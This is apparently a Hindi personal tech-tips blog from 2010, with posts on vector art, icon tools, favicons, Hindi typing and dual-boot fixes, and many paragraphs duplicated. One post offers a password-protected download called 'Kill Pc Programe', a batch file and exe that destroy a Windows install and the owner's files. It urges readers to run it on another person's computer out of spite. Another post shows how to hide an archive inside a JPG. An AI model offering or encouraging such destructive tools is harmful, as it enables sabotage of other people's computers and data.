प्रिय दोस्तो,
आपके लिए मैंने सुंदर सा वेक्टर आर्ट कंटैंट पैकेज तैयार किया है।
इसमे आपको फ्लोरिस, बार्डर, डिवाइडर, कोरनेर्स, स्वीर्ल आर्ट, रीसाइकल बिन, स्कल लीफ़ आदि है।
यह सीडीआर वर्जन 14 फ़ारमैट मे है जो कोरेल ड्रा का फ़ारमैट है। अच्छा लगा तो टिप्पड़ी ज़रूर छोड़े। vector_collection1.cdr
शनिवार, 31 जुलाई 2010
मंगलवार, 27 जुलाई 2010
सावधान Xx440xX
भाइयो और बहनो और हर प्रकार के नाते रिसतेदारों
यारों बिना टिप्पडी के तो मज़ा ही नहीं आ रहा है
मै हर प्रकार के टिप्पडी के लिए तैयार हूँ चाहे वो गालियों का पुलिंदा ही क्यों ना हों।
यारों बिना टिप्पडी के तो मज़ा ही नहीं आ रहा है
मै हर प्रकार के टिप्पडी के लिए तैयार हूँ चाहे वो गालियों का पुलिंदा ही क्यों ना हों।
गुरुवार, 22 जुलाई 2010
आइकॉन फ़ाइल प्रबंधन के लिए सॉफ्टवेयर
आपके लिए तीन सॉफ्टवेर जो आपके आइकॉन फ़ाइल को आपके कम्प्युटर पर ढूंढेगा,exe फ़ाइल्स का आइकॉन बदलेगा और दिखाएगा...........अगर आप सोच रहे है की मेरे पास आइकॉन फ़ाइल है ही नहीं तो गलत है ये exe फ़ाइल से भी आइकॉन निकाल कर अलग कर सकता है। आइकॉन प्रबंधन के लिए बहुत ही अच्छा सॉफ्टवेर है। size:677kb
iconsearch_replacer_explorer password:pihuka_world
iconsearch_replacer_explorer password:pihuka_world
अपने ब्लॉग पर अपना फेविकोन चिपकाये ।
जैसे आप इंटरनेट एक्सप्लोरर,फ़ायरफ़ॉक्स,ओपेरा जैसे ब्राउज़र पर देखते होंगे एड्रैस बार, टैब और फेवरेट ऑप्शन पर सबसे पहले छोटा सा आइकॉन लगा रहता है उसे आप बदल कर अपना बनाया हुआ या रेडीमेड आइकॉन लगा सकते है।
सबसे पहले आप अपना आइकॉन बनाकर किसी साइट पर अपलोड कर के या नेट से लें फिर उसका यूआरयल नीचे कोड मे "favicon.ico" के जगह बदल दें।
अपना डैशबोर्ड खोले layout->edithtml-> के बाद हैड सिंटेक्स को ctrl+f के द्वारा ढूँढकर ठीक नीचे ये कोड चिपका कर सेव कर लें।
सबसे पहले आप अपना आइकॉन बनाकर किसी साइट पर अपलोड कर के या नेट से लें फिर उसका यूआरयल नीचे कोड मे "favicon.ico" के जगह बदल दें।
अपना डैशबोर्ड खोले layout->edithtml-> के बाद हैड सिंटेक्स को ctrl+f के द्वारा ढूँढकर ठीक नीचे ये कोड चिपका कर सेव कर लें।
मंगलवार, 20 जुलाई 2010
ये आपके पीसी को मार सकता है
वैसे तो है बहुत छोटा सा प्रोग्राम पर ये आपके पीसी पर चल या execute हो जाए तो आपका पीसी गया समझो।
इसमे एक बैट फ़ाइल और exe फ़ाइल है दोनों एक ही काम करती है मैंने बैट फ़ाइल को इसलिए exe फ़ाइल के साथ दिया है क्योंकि आप भी सोर्स कोड देख ले और exe को इसलिए दिया है जिससे आपको कॉम्पाइल ना करना पड़े।
वैसे तो ये कोई खास काम की चीज़ नहीं है पर आपके पास भी कोई अगला व्यक्ति होगा जिसके कम्प्युटर मे ये फ़ाइल चले तो आपको सकूँ मिलेगा या यूँ कहे की खुन्नस निकालने का एक छोटा सा तरीका..................इससे कुछ खास नहीं होगा बस जिस कम्प्युटर मे चलेगा उस कम्प्युटर को दोबारा एक्सपी चड़ाना पड़ेगा, इसमे वो अपना महत्वपूर्ण फ़ाइल भी खो देगा।
Kill Pc Programe
पासवर्ड: pihuka_world
इसमे एक बैट फ़ाइल और exe फ़ाइल है दोनों एक ही काम करती है मैंने बैट फ़ाइल को इसलिए exe फ़ाइल के साथ दिया है क्योंकि आप भी सोर्स कोड देख ले और exe को इसलिए दिया है जिससे आपको कॉम्पाइल ना करना पड़े।
वैसे तो ये कोई खास काम की चीज़ नहीं है पर आपके पास भी कोई अगला व्यक्ति होगा जिसके कम्प्युटर मे ये फ़ाइल चले तो आपको सकूँ मिलेगा या यूँ कहे की खुन्नस निकालने का एक छोटा सा तरीका..................इससे कुछ खास नहीं होगा बस जिस कम्प्युटर मे चलेगा उस कम्प्युटर को दोबारा एक्सपी चड़ाना पड़ेगा, इसमे वो अपना महत्वपूर्ण फ़ाइल भी खो देगा।
Kill Pc Programe
पासवर्ड: pihuka_world
बिना नाम का फोंल्डर बनायें
1। दायाँ माऊस बटन दबाएँ।
२। न्यू क्लिक करें और फोंल्डर ऑप्शन चुनें।
3। ALT बटन दबाकर 0160 फिर एंटर दबायें।
4। आपका बिना नाम का फोंल्डर सेव हो जाएगा।
विंडोज विस्टा मे इस तरह के फ़ाइल को डिलीट करना मुश्किल होता है।
२। न्यू क्लिक करें और फोंल्डर ऑप्शन चुनें।
3। ALT बटन दबाकर 0160 फिर एंटर दबायें।
4। आपका बिना नाम का फोंल्डर सेव हो जाएगा।
विंडोज विस्टा मे इस तरह के फ़ाइल को डिलीट करना मुश्किल होता है।
शुक्रवार, 16 जुलाई 2010
विंडोज में हिन्दी और मैं
सबसे पहले विंडोज मे हिन्दी एनेबल करना होता है।
फिर विंडोज का डिफ़ाल्ट हिन्दी फॉन्ट मंगल काम करता है।
लेकिन डिफ़ाल्ट हिन्दी फॉन्ट का लेआउट बहुत कठिन होता है इसलिए आप इसे बेकार ही समझते है।
उसके बाद कृतिदेव और देवलिस जैसे यूनिकोड फॉन्ट प्रयोग करते है जिसका कीबोर्ड लेआउट आपके हिन्दी टाइपरायटर के जैसा होता है।
और लगता है की हाँ यही रास्ता हिन्दी टाइप करने का।
पर जिसने हिन्दी टैपिंग सीखी हो उसके लिए तो सब ठीक है (अरे ठीक क्या है टैपिंग स्पीड कम तो होती ही है और इंग्लिश के मुक़ाबले बहुत कठिन होती है।) पर जिसने सिर्फ इंग्लिश टैपिंग सीखी हो उसके लिए दिक्कत है और हिन्दी टैपिंग सीखने मे ऊब भी लगता है।
तब फिर क्या हो सकता है ......हाँ फोनेटिक लेआउट भी जुगाड़ है।
(+)इसमे आप हिन्दी टैपिंग बिल्कुल आराम से कर सकते है चाहे आप को हिन्दी टैपिंग आती हो या नहीं।
(-)इसमे आप ज्यादा दूर तक नहीं जा सकते मतलब सिर्फ ईमेल या ऐसे ही किसी काम के लिए उपर्युक्त है वर्ड प्रोसेसिंग के लिए बिल्कुल नहीं है। कुछ शब्द ऐसे आते है की फोनेटिक लेआउट मे ढूँढते ढूँढते शाम हो जाती है और शब्द बन नहीं पाते।
इसमे सबसे बड़ी खराबी यह है की इसमे गिने चुने फॉन्ट ही कम करते है जैसे मंगल अपराजिता कोकिला ........
मेरे कुछ चुनिंदा फोनेटिक लेआउट सॉफ्टवेर नीचे है।
1. Microsoft hindi input method by microsot
2. Google hindi translitration offline
3. Hindipad
अगर आप को वर्ड प्रोसेसिंग करनी हो और आप हिन्दी टैपिंग नहीं सीखी है तो क्या हो सकता है
तो आपको कुछ पैसे खर्च करने होंगे तो कुछ हो सकता है।
मेरी नज़र मे 1 सॉफ्टवेर ऐसा है जो बिना हिन्दी टैपिंग के आप हिन्दी वर्ड प्रोसेसिंग कर सकते है
"श्री लिपि देवरत्न पैकेज" इस पैकेज मे लगभग 4500 फॉन्ट 10000 क्लिपआर्ट और 30 कीबोर्ड लेआउट है चाहे आप डिज़ाइनइंग करे या और कुछ,
सार यही है की आपको अगर हिन्दी टैपिंग प्रॉफ़ेशन के लिए करना है तो रेमिंग्टन बेस कीबोर्ड लेआउट ही सर्वोत्तम है।
फिर विंडोज का डिफ़ाल्ट हिन्दी फॉन्ट मंगल काम करता है।
लेकिन डिफ़ाल्ट हिन्दी फॉन्ट का लेआउट बहुत कठिन होता है इसलिए आप इसे बेकार ही समझते है।
उसके बाद कृतिदेव और देवलिस जैसे यूनिकोड फॉन्ट प्रयोग करते है जिसका कीबोर्ड लेआउट आपके हिन्दी टाइपरायटर के जैसा होता है।
और लगता है की हाँ यही रास्ता हिन्दी टाइप करने का।
पर जिसने हिन्दी टैपिंग सीखी हो उसके लिए तो सब ठीक है (अरे ठीक क्या है टैपिंग स्पीड कम तो होती ही है और इंग्लिश के मुक़ाबले बहुत कठिन होती है।) पर जिसने सिर्फ इंग्लिश टैपिंग सीखी हो उसके लिए दिक्कत है और हिन्दी टैपिंग सीखने मे ऊब भी लगता है।
तब फिर क्या हो सकता है ......हाँ फोनेटिक लेआउट भी जुगाड़ है।
(+)इसमे आप हिन्दी टैपिंग बिल्कुल आराम से कर सकते है चाहे आप को हिन्दी टैपिंग आती हो या नहीं।
(-)इसमे आप ज्यादा दूर तक नहीं जा सकते मतलब सिर्फ ईमेल या ऐसे ही किसी काम के लिए उपर्युक्त है वर्ड प्रोसेसिंग के लिए बिल्कुल नहीं है। कुछ शब्द ऐसे आते है की फोनेटिक लेआउट मे ढूँढते ढूँढते शाम हो जाती है और शब्द बन नहीं पाते।
इसमे सबसे बड़ी खराबी यह है की इसमे गिने चुने फॉन्ट ही कम करते है जैसे मंगल अपराजिता कोकिला ........
मेरे कुछ चुनिंदा फोनेटिक लेआउट सॉफ्टवेर नीचे है।
1. Microsoft hindi input method by microsot
2. Google hindi translitration offline
3. Hindipad
अगर आप को वर्ड प्रोसेसिंग करनी हो और आप हिन्दी टैपिंग नहीं सीखी है तो क्या हो सकता है
तो आपको कुछ पैसे खर्च करने होंगे तो कुछ हो सकता है।
मेरी नज़र मे 1 सॉफ्टवेर ऐसा है जो बिना हिन्दी टैपिंग के आप हिन्दी वर्ड प्रोसेसिंग कर सकते है
"श्री लिपि देवरत्न पैकेज" इस पैकेज मे लगभग 4500 फॉन्ट 10000 क्लिपआर्ट और 30 कीबोर्ड लेआउट है चाहे आप डिज़ाइनइंग करे या और कुछ,
सार यही है की आपको अगर हिन्दी टैपिंग प्रॉफ़ेशन के लिए करना है तो रेमिंग्टन बेस कीबोर्ड लेआउट ही सर्वोत्तम है।
जेपीजी फ़ाइल में छिपायें अपने डॉक्युमेंट्स
आप अपने जेपीजी फ़ाइल के अंदर भी डॉक्युमेंट्स छुपा सकते है। और आप उसे पुनः फिर से वही फ़ारमैट मे फ़ाइल पा सकते है। नीचे कमांड लाइन को देखिए।
सबसे पहले रन मे सीएमडी टाइप करे।
cd "desktop"
copy /b input.jpg+input.rar output.jpg
अब आपके डेस्कटॉप पर एक आउटपुट।जेपीजी फ़ाइल मिलेगी। और उसके अंदर आपका डॉकयुमेंट छुपा रहेगा। अपने डॉकयुमेंट को एक्स्ट्राक्त करने के लिए नीचे सीएमडी लाइन देखे।
cd"desktop"
ren output.jpg input.rar
अब आपका डॉकयुमेंट देखेगा। जिस डाइरैक्टरी मे आप अपना छुपा हुआ डॉकयुमेंट एक्स्ट्राक्त कर रहे हो उस डाइरैक्टरी मे उसी नाम का कोई दूसरा फ़ाइल न हो।
सबसे पहले रन मे सीएमडी टाइप करे।
cd "desktop"
copy /b input.jpg+input.rar output.jpg
अब आपके डेस्कटॉप पर एक आउटपुट।जेपीजी फ़ाइल मिलेगी। और उसके अंदर आपका डॉकयुमेंट छुपा रहेगा। अपने डॉकयुमेंट को एक्स्ट्राक्त करने के लिए नीचे सीएमडी लाइन देखे।
cd"desktop"
ren output.jpg input.rar
अब आपका डॉकयुमेंट देखेगा। जिस डाइरैक्टरी मे आप अपना छुपा हुआ डॉकयुमेंट एक्स्ट्राक्त कर रहे हो उस डाइरैक्टरी मे उसी नाम का कोई दूसरा फ़ाइल न हो।
दोहरी बूट समस्या
मेरे इस ब्लॉग मे सबसे पहले मै वो सब तकनीकी समस्याओं के बारे में लिखूंगा जो मुझे नया कम्प्युटर लेने के बाद आई थी। सबसे पहले तो मुझे जो समस्या से जूझना पड़ा था वो था मैंने अपने हार्ड ड्राइव मे दो बार एक्सपी लोड कर लिया था हालांकि मुझे इसकी कोई ज़रूरत नहीं थी पर मैंने बड़े ही आराम से एक्सपी सी: डी: दोनों मे बूट कर लिया था उसके बाद स्टार्ट अप मे स्क्रीन नेटिव मोड मे खुलकर ओ यस चुन ने का ऑप्शन आता था। यही मुझे बहुत खराब लगता था।
सोल्यूशंस --विंडोज+आर बटन साथ दबाये रन प्रोग्राम खुलेगा। msconfig.exe टाइप करके ओके बटन दबाएँ अब नयी विंडो खुलेगी। आपको boot.ini सेक्शन मे जाकर अपना डिफ़ाल्ट ओयस चुने। और कितने समय मे सुरू करना है उस जगह 0 मिनट सेट करे। अब आपका कम्प्युटर नेटिव मोड मे नहीं खुलेगा।
सोल्यूशंस --विंडोज+आर बटन साथ दबाये रन प्रोग्राम खुलेगा। msconfig.exe टाइप करके ओके बटन दबाएँ अब नयी विंडो खुलेगी। आपको boot.ini सेक्शन मे जाकर अपना डिफ़ाल्ट ओयस चुने। और कितने समय मे सुरू करना है उस जगह 0 मिनट सेट करे। अब आपका कम्प्युटर नेटिव मोड मे नहीं खुलेगा।
ये ब्लॉग क्यों
ये ब्लॉग कोई विषय पर केंद्रित करके नहीं बना रहा हूँ। बस लिख रहा हूँ। ये भी नहीं मालूम किसलिए लिख रहा हूँ हाँ पर एक बात मेरे दिमाग मे है वो ये की बात करने से रात और दिन दोनों हल होती है मतलब आगे का रास्ता प्रसस्थ होता है।
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